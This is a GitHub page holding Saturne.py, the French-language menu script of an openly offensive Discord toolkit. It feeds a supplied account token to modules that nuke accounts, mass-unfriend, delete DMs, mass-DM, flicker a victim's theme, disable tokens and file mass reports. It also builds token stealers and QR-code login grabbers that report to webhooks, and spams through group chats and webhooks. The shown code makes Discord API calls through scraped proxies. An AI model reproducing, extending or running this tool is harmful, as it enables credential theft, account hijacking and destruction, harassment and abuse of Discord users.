-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathSaturne.py
518 lines (470 loc) · 21.2 KB
/
Saturne.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
###############################################################
# ███████╗ █████╗ ████████╗██╗ ██╗██████╗ ███╗ ██╗███████╗
# ██╔════╝██╔══██╗╚══██╔══╝██║ ██║██╔══██╗████╗ ██║██╔════╝
# ███████╗███████║ ██║ ██║ ██║██████╔╝██╔██╗ ██║█████╗
# ╚════██║██╔══██║ ██║ ██║ ██║██╔══██╗██║╚██╗██║██╔══╝
# ███████║██║ ██║ ██║ ╚██████╔╝██║ ██║██║ ╚████║███████╗
# ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝
###############################################################
# Crée par GalackQSM
# Github: https://github.com/GalackQSM/Saturne
# Discord: https://discord.gg/saturnetools|XvjJpw4D3m
# © 2022 Saturne
###############################################################
import multiprocessing
import threading
import requests
import keyboard
import base64
import os
from time import sleep
from colorama import Fore
from util.plugins.common import *
from util.plugins.update import search_for_updates
import util.accountNuke
import util.dmdeleter
import util.info
import util.login
import util.groupchat_spammer
import util.massreport
import util.QR_Grabber
import util.seizure
import util.server_leaver
import util.spamservers
import util.statuschanger
import util.friend_blocker
import util.create_stealer_V2
import util.unfriender
import util.webhookspammer
import util.massdm
import util.tokendisable
import util.credits
threads = 3
cancel_key = "ctrl+x"
def main():
setTitle(f"Saturne {THIS_VERSION}")
clear()
global threads
global cancel_key
if getTheme() == "saturne":
banner()
elif getTheme() == "dark":
banner("dark")
elif getTheme() == "fire":
banner("fire")
elif getTheme() == "water":
banner("water")
elif getTheme() == "neon":
banner("neon")
choice = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Choisir: {Fore.RED}')
if choice == "1":
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
Server_Name = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Nom des serveurs qui seront créés: {Fore.RED}'))
message_Content = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Message qui sera envoyé à chaque ami: {Fore.RED}'))
if threading.active_count() < threads:
threading.Thread(target=util.accountNuke.Saturne_Nuke, args=(token, Server_Name, message_Content)).start()
return
elif choice == '2':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
processes = []
friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies={"http": f'{proxy()}'}, headers=getheaders(token)).json()
for friend in [friendIds[i:i+3] for i in range(0, len(friendIds), 3)]:
t = multiprocessing.Process(target=util.unfriender.UnFriender, args=(token, friend))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '3':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
if token.startswith("mfa."):
print(f'{Fore.RESET}[{Fore.RED}Erreur{Fore.RESET}] : Juste un avertissement, Saturne ne pourra pas supprimer les serveurs car le compte a activé 2fa')
sleep(3)
processes = []
guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json()
for guild in [guildsIds[i:i+3] for i in range(0, len(guildsIds), 3)]:
t = multiprocessing.Process(target=util.server_leaver.Leaver, args=(token, guild))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '4':
token = input(f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
print(f'{Fore.BLUE}Voulez-vous avoir une icône pour les serveurs qui seront créés?')
yesno = input(f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}oui/non: {Fore.RED}')
if yesno.lower() == "oui":
image = input(f'Example: (C:\\Users\\myName\\Desktop\\Saturne\\ShitOn.png):\n{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Veuillez entrer l\'emplacement de l\'icône: {Fore.RED}')
if not os.path.exists(image):
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Impossible de trouver "{image}" sur votre pc')
sleep(3)
main()
with open(image, "rb") as f: _image = f.read()
b64Bytes = base64.b64encode(_image)
icon = f"data:image/x-icon;base64,{b64Bytes.decode()}"
else:
icon = None
print(f'''
{Fore.RESET}[{Fore.RED}1{Fore.RESET}] Noms de serveurs aléatoires
{Fore.RESET}[{Fore.RED}2{Fore.RESET}] Noms de serveur personnalisés
''')
secondchoice = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Deuxième choix: {Fore.RED}')
if secondchoice not in ["1", "2"]:
print(f'{Fore.RESET}[{Fore.RED}Erreur{Fore.RESET}] : Deuxième choix invalide')
sleep(1)
main()
if secondchoice == "1":
processes = []
for i in range(25):
t = multiprocessing.Process(target=util.spamservers.SpamServers, args=(token, icon))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
if secondchoice == "2":
name = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Nom des serveurs qui seront créés: {Fore.RED}'))
processes = []
for i in range(25):
t = multiprocessing.Process(target=util.spamservers.SpamServers, args=(token, icon, name))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '5':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
processes = []
channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json()
for channel in [channelIds[i:i+3] for i in range(0, len(channelIds), 3)]:
t = multiprocessing.Process(target=util.dmdeleter.DmDeleter, args=(token, channel))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '6':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
message = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Message qui sera envoyé à chaque ami: {Fore.RED}'))
processes = []
channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json()
for channel in [channelIds[i:i+3] for i in range(0, len(channelIds), 3)]:
t = multiprocessing.Process(target=util.massdm.MassDM, args=(token, channel, message))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '7':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
print(f'{Fore.MAGENTA}Démarrage du mode saisie {Fore.RESET}{Fore.WHITE}(Activer/désactiver le mode clair/sombre){Fore.RESET}\n')
processes = []
for i in range(threads):
t = multiprocessing.Process(target=util.seizure.StartSeizure, args=(token, ))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '8':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
util.info.Info(token)
elif choice == '9':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
util.login.TokenLogin(token)
elif choice == '10':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
processes = []
friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies={"http": f'{proxy()}'}, headers=getheaders(token)).json()
for friend in [friendIds[i:i+3] for i in range(0, len(friendIds), 3)]:
t = multiprocessing.Process(target=util.friend_blocker.Block, args=(token, friend))
t.start()
processes.append(t)
while True:
if keyboard.is_pressed(cancel_key):
for process in processes:
process.terminate()
main()
break
elif choice == '11':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
print(f'''
{Fore.RESET}[{Fore.RED}1{Fore.RESET}] Changer de statut
{Fore.RESET}[{Fore.RED}2{Fore.RESET}] Changer de bio
{Fore.RESET}[{Fore.RED}3{Fore.RESET}] Changer HypeSquad
''')
secondchoice = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Paramètres: {Fore.RED}')
if secondchoice not in ["1", "2", "3", "4"]:
print(f'{Fore.RESET}[{Fore.RED}Erreur{Fore.RESET}] : Choix invalide')
sleep(1)
main()
if secondchoice == "1":
Status = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Statut personnalisé: {Fore.RED}'))
util.statuschanger.StatusChanger(token, Status)
if secondchoice == "2":
print("Pas terminé")
sleep(1.5)
main()
if secondchoice == "3":
print("Pas terminé")
sleep(1.5)
main()
elif choice == '12':
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
util.tokendisable.TokenDisable(token)
elif choice == '13':
WebHook = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}URL du Webhook: {Fore.RED}')
validateWebhook(WebHook)
fileName = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Nom du fichier: {Fore.RED}'))
util.create_stealer_V2.TokenGrabberV2(WebHook, fileName)
elif choice == '14':
WebHook = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}URL du Webhook: {Fore.RED}')
validateWebhook(WebHook)
util.QR_Grabber.QR_Grabber(WebHook)
elif choice == '15':
print(f"\n{Fore.RED}(le token que vous saisissez est le compte qui enverra les rapports){Fore.RESET}")
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
guild_id1 = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}ID du serveur: {Fore.RED}'))
channel_id1 = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}ID du salon: {Fore.RED}'))
message_id1 = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}ID du message: {Fore.RED}'))
reason1 = str(input(
'\n[1] Contenu illégal\n'
'[2] Harcèlement\n'
'[3] Liens de spam ou de phishing\n'
'[4] L\'automutilation\n'
'[5] Contenu NSFW\n\n'
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Raison: {Fore.RED}'))
if reason1.upper() in ('1', 'CONTENU ILLÉGAL'):
reason1 = 0
elif reason1.upper() in ('2', 'HARCÈLEMENT'):
reason1 = 1
elif reason1.upper() in ('3', 'LIENS DE SPAM OU DE PHISHING'):
reason1 = 2
elif reason1.upper() in ('4', 'L\'AUTOMUTILATION'):
reason1 = 3
elif reason1.upper() in ('5', 'CONTENU NSFW'):
reason1 = 4
else:
print(f"\nRaison invalide")
sleep(1)
main()
util.massreport.MassReport(token, guild_id1, channel_id1, message_id1, reason1)
elif choice == "16":
token = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Token: {Fore.RED}')
validateToken(token)
util.groupchat_spammer.GcSpammer(token)
elif choice == '17':
print(f'''
{Fore.RESET}[{Fore.RED}1{Fore.RESET}] Supprimer un webhook
{Fore.RESET}[{Fore.RED}2{Fore.RESET}] Spammer via webhook
''')
secondchoice = int(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Deuxième choix: {Fore.RED}'))
if secondchoice not in [1, 2]:
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Deuxième choix invalide')
sleep(1)
main()
if secondchoice == 1:
WebHook = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Webhook: {Fore.RED}')
validateWebhook(WebHook)
try:
requests.delete(WebHook)
print(f'\n{Fore.GREEN}Webhook supprimé avec succès!{Fore.RESET}\n')
except Exception as e:
print(f'{Fore.RED}Erreur: {Fore.WHITE}{e} {Fore.RED}s\'est produit lors de la tentative de suppression du Webhook')
input(f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Entrez n\'importe quoi pour continuer... {Fore.RED}')
main()
if secondchoice == 2:
WebHook = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Webhook: {Fore.RED}')
validateWebhook(WebHook)
Message = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Message: {Fore.RED}'))
util.webhookspammer.WebhookSpammer(WebHook, Message)
elif choice == '18':
print(f'''
{Fore.RESET}[{Fore.RED}1{Fore.RESET}] Changer de thème
{Fore.RESET}[{Fore.RED}2{Fore.RESET}] Quantité de threads
{Fore.RESET}[{Fore.RED}3{Fore.RESET}] Annuler la clef
{Fore.RESET}[{Fore.RED}4{Fore.RESET}] {Fore.RED}Quitter...
''')
secondchoice = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Paramètres: {Fore.RED}')
if secondchoice not in ["1", "2", "3", "4"]:
print(f'{Fore.RESET}[{Fore.RED}Erreur{Fore.RESET}] : Paramètre invalide')
sleep(1)
main()
if secondchoice == "1":
print(f"""
{Fore.GREEN}saturne: 1
{Fore.LIGHTBLACK_EX}Dark: 2
{Fore.RED}Fire: 3
{Fore.BLUE}Water: 4
{Fore.CYAN}N{Fore.MAGENTA}e{Fore.CYAN}o{Fore.MAGENTA}n{Fore.CYAN}:{Fore.MAGENTA} 5
""")
themechoice = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}thème: {Fore.RED}')
if themechoice == "1":
setTheme('saturne')
elif themechoice == "2":
setTheme('dark')
elif themechoice == "3":
setTheme('fire')
elif themechoice == "4":
setTheme('water')
elif themechoice == "5":
setTheme('neon')
else:
print(f'{Fore.RESET}[{Fore.RED}Erreur{Fore.RESET}] : Thème invalide')
sleep(1.5)
main()
print_slow(f"{Fore.GREEN}Thème défini sur {Fore.CYAN}{getTheme()}")
sleep(0.5)
main()
elif secondchoice == "2":
print(f"{Fore.BLUE}Quantité actuelle de threads: {threads}")
try:
amount = int(
input(f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Quantité de threads: {Fore.RED}'))
except ValueError:
print(f'{Fore.RESET}[{Fore.RED}Erreur{Fore.RESET}] : Montant invalide')
sleep(1.5)
main()
if amount >= 45:
print(f"{Fore.RED}Désolé, mais avoir autant de discussions ne fera que vous limiter et ne pas bien finir")
sleep(3)
main()
elif amount >= 15:
print(f"{Fore.RED}ATTENTION! * ATTENTION! * ATTENTION! * ATTENTION! * ATTENTION! * ATTENTION! * ATTENTION!")
print(f"avoir le nombre de threads défini sur 15 ou plus peut éventuellement devenir lent et augmenter les chances de limite de débit \ êtes-vous sûr de vouloir définir la limite de débit sur {Fore.YELLOW}{amount}{Fore.RED}?")
yesno = input(f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}oui/non: {Fore.RED}')
if yesno.lower() != "oui":
sleep(0.5)
main()
threads = amount
print_slow(f"{Fore.GREEN} définis sur {Fore.CYAN}{amount}")
sleep(0.5)
main()
elif secondchoice == "3":
print("\n","Info".center(30, "-"))
print(f"{Fore.CYAN}Touche d'annulation actuelle: {cancel_key}")
print(f"""{Fore.BLUE}Si vous voulez avoir ctrl + <key> vous devez taper ctrl+<key> | N'appuyez pas littéralement sur ctrl + <key>
{Fore.GREEN}Exemple: shift+Q
{Fore.RED}Vous pouvez avoir d'autres modificateurs au lieu de ctrl ⇣
{Fore.YELLOW}Tous les modificateurs de clavier:{Fore.RESET}
ctrl, shift, enter, esc, windows, left shift, right shift, left ctrl, right ctrl, alt gr, left alt, right alt
""")
sleep(1.5)
key = input(f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Clé: {Fore.RED}')
cancel_key = key
print_slow(f"{Fore.GREEN}Touche d'annulation définie sur {Fore.CYAN}{cancel_key}")
sleep(0.5)
main()
elif secondchoice == "4":
setTitle("Quitter...")
choice = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Êtes-vous sûr de vouloir quitter? (O pour confirmer): {Fore.RED}')
if choice.upper() == 'O':
clear()
os._exit(0)
else:
main()
elif choice == '19':
ok = input(
f'{Fore.GREEN}[{Fore.CYAN}>{Fore.GREEN}] {Fore.RESET}Faite entrer pour voir les crédits de Saturne: {Fore.RED}')
util.credits.Credits(ok)
else:
clear()
main()
if __name__ == "__main__":
import sys
if os.path.basename(sys.argv[0]).endswith("exe"):
search_for_updates()
with open(os.getenv("temp")+"\\saturne_proxies", 'w'): pass
if not os.path.exists(os.getenv("temp")+"\\saturne_theme"):
setTheme('saturne')
clear()
proxy_scrape()
sleep(1.5)
main()
try:
assert sys.version_info >= (3,7)
except AssertionError:
print(f"{Fore.RED}Votre version python ({sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}) n'est pas compatible avec Saturne, veuillez télécharger python 3.7+")
sleep(5)
print("sortir...")
sleep(1.5)
os._exit(0)
else:
search_for_updates()
with open(os.getenv("temp")+"\\saturne_proxies", 'w'): pass
if not os.path.exists(os.getenv("temp")+"\\saturne_theme"):
setTheme('saturne')
clear()
proxy_scrape()
sleep(1.5)
main()
finally:
Fore.RESET